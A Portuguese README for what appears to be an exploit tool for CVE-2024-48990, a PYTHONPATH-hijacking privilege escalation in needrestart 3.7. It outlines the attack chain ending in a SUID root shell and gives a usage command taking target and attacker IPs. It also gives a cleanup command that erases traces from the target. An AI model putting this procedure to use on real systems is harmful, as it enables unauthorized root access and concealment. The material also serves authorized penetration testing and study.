CVE-2024-48990 Sequestro de PYTHONPATH - Exploit de Escalação de Privilégios

Esta ferramenta automatiza a exploração de uma vulnerabilidade de escalação de privilégios no needrestart versão 3.7, identificada como CVE-2024-48990.
Ela obtém execução como root ao aproveitar o uso inseguro da variável de ambiente PYTHONPATH quando o needrestart verifica processos Python.

Resumo

O exploit funciona da seguinte forma:

1. Compilando um objeto compartilhado malicioso (__init__.so) que é acionado na importação.
2. Servindo o .so por meio de um servidor HTTP local.
3. Conectando-se ao alvo via SSH e preparando um ambiente PYTHONPATH malicioso.
4. Iniciando um processo isca em Python que importa continuamente importlib.
5. Executando needrestart, que herda o PYTHONPATH manipulado, carrega o módulo malicioso e executa o payload como root.
6. O payload cria um binário SUID (/tmp/poc), permitindo acesso a um shell root.

Uso

Execute o exploit a partir da sua máquina atacante:

python3 exploit.py --user <ssh_user> --host <target_ip> --att-ip <attacker_ip> --ssh-pass <ssh_password>

Parâmetros:

• --user Nome de usuário SSH no alvo
• --host Endereço IP do alvo
• --att-ip IP do atacante (usado para hospedar o payload)
• --ssh-pass Senha SSH (omitir se estiver usando chaves SSH)
• --http-port Porta HTTP opcional (padrão: 8000)

CVE

• ID do CVE: CVE-2024-48990
• Software afetado: needrestart versão 3.7
• Tipo de vulnerabilidade: Tratamento inseguro de variáveis de ambiente
• Impacto: Escalação local de privilégios para root

Limpeza

Para remover os rastros do exploit do alvo:

rm -rf /tmp/malicious /tmp/poc /tmp/exploit.sh

Requisitos

Máquina atacante:

• Python 3
• pexpect (pip3 install pexpect)
• gcc (para compilar o payload)
• Acesso SSH aberto ao alvo
• python3 -m http.server (iniciado automaticamente pelo script)

Máquina alvo:

• Uma versão vulnerável do needrestart (v3.7)
• Um usuário não-root com direitos sudo NOPASSWD para /usr/sbin/needrestart
• Python 3 e curl instalados

Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados. Não a utilize em sistemas que você não possui ou sem permissão explícita.